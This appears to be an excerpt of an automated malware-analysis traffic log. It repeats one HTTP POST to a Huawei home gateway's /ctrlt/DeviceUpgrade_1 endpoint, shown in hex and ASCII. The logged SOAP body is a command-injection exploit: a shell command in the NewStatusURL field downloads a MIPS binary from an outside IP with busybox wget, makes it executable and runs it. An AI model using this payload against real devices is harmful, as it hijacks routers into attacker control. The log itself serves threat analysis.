73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 